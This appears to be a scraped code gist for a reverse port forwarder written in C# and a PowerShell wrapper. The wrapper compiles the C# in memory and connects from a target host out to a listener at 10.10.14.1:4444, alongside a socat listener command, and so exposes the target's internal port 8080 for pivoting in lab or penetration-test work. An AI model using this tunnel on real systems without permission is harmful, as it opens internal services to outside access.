- On the lhost listening side you can use
socat
to create two server sockets.
socat -dd TCP-LISTEN:4444,reuseaddr,fork TCP-LISTEN:1234,reuseaddr
- Once
WPF
connected to port 4444, you can talk to 127.0.0.1:1234 as if it where the remote host.
/* | |
Reverse port forwarder; connects reverse (left) to forward (right). | |
Find csc.exe: | |
cd /d %SYSTEMROOT% && dir csc.exe /B /S | |
Compile example: | |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe wpf.cs | |
*/ | |
using System.IO; | |
using System.Net.Sockets; | |
using System; | |
using System.Net; | |
using System.Threading; | |
public class WPF | |
{ | |
private static bool Connected(Socket s) { | |
if (!s.Poll(0, SelectMode.SelectRead) && s.Available == 0) { | |
return true; | |
} | |
else { | |
return false; | |
} | |
} | |
public static int Main(string[] args) | |
{ | |
bool keepRunning = true; | |
if (args.Length < 4) { | |
Console.WriteLine("Parameters: <lhost> <lport> <rhost> <rport>"); | |
return -1; | |
} | |
string lhost = args[0]; | |
int lport = Int32.Parse(args[1]); | |
string rhost = args[2]; | |
int rport = Int32.Parse(args[3]);; | |
Console.WriteLine(String.Format("Connecting {0}:{1} <==> {2}:{3}", lhost, lport, rhost, rport)); | |
TcpClient lclient = new TcpClient(lhost, lport); | |
NetworkStream lstream = lclient.GetStream(); | |
Socket lsock = lclient.Client; | |
TcpClient rclient; | |
NetworkStream rstream; | |
Socket rsock = null; | |
Console.CancelKeyPress += delegate(object sender, ConsoleCancelEventArgs e) { | |
keepRunning = false; | |
Console.WriteLine("CTRL+C received"); | |
}; | |
while (keepRunning) { | |
if (!WPF.Connected(lsock)) { | |
Console.WriteLine(String.Format("Lost connection to: {0}:{1}", lhost, lport)); | |
keepRunning = false; | |
} | |
if ((rsock == null) || (!WPF.Connected(rsock))) { | |
rclient = new TcpClient(rhost, rport); | |
rstream = rclient.GetStream(); | |
rsock = rclient.Client; | |
lstream.CopyToAsync(rstream); | |
rstream.CopyToAsync(lstream); | |
} | |
Thread.Sleep(1000); | |
} | |
Console.WriteLine("Shutdown..."); | |
return 0; | |
} | |
} |
$cs = @" | |
using System.IO; | |
using System.Net.Sockets; | |
using System; | |
using System.Net; | |
using System.Threading; | |
public class WPF | |
{ | |
private static bool Connected(Socket s) { | |
if (!s.Poll(0, SelectMode.SelectRead) && s.Available == 0) { | |
return true; | |
} | |
else { | |
return false; | |
} | |
} | |
public static int Main(string[] args) | |
{ | |
bool keepRunning = true; | |
if (args.Length < 4) { | |
Console.WriteLine("Parameters: <lhost> <lport> <rhost> <rport>"); | |
return -1; | |
} | |
string lhost = args[0]; | |
int lport = Int32.Parse(args[1]); | |
string rhost = args[2]; | |
int rport = Int32.Parse(args[3]);; | |
Console.WriteLine(String.Format("Connecting {0}:{1} <==> {2}:{3}", lhost, lport, rhost, rport)); | |
TcpClient lclient = new TcpClient(lhost, lport); | |
NetworkStream lstream = lclient.GetStream(); | |
Socket lsock = lclient.Client; | |
TcpClient rclient; | |
NetworkStream rstream; | |
Socket rsock = null; | |
Console.CancelKeyPress += delegate(object sender, ConsoleCancelEventArgs e) { | |
keepRunning = false; | |
Console.WriteLine("CTRL+C received"); | |
}; | |
while (keepRunning) { | |
if (!WPF.Connected(lsock)) { | |
Console.WriteLine(String.Format("Lost connection to: {0}:{1}", lhost, lport)); | |
keepRunning = false; | |
} | |
if ((rsock == null) || (!WPF.Connected(rsock))) { | |
rclient = new TcpClient(rhost, rport); | |
rstream = rclient.GetStream(); | |
rsock = rclient.Client; | |
lstream.CopyToAsync(rstream); | |
rstream.CopyToAsync(lstream); | |
} | |
Thread.Sleep(1000); | |
} | |
Console.WriteLine("Shutdown..."); | |
return 0; | |
} | |
} | |
"@; | |
Add-Type -Language CSharp $cs | |
[WPF]::Main(("10.10.14.1", "4444", "127.0.0.1", "8080")) |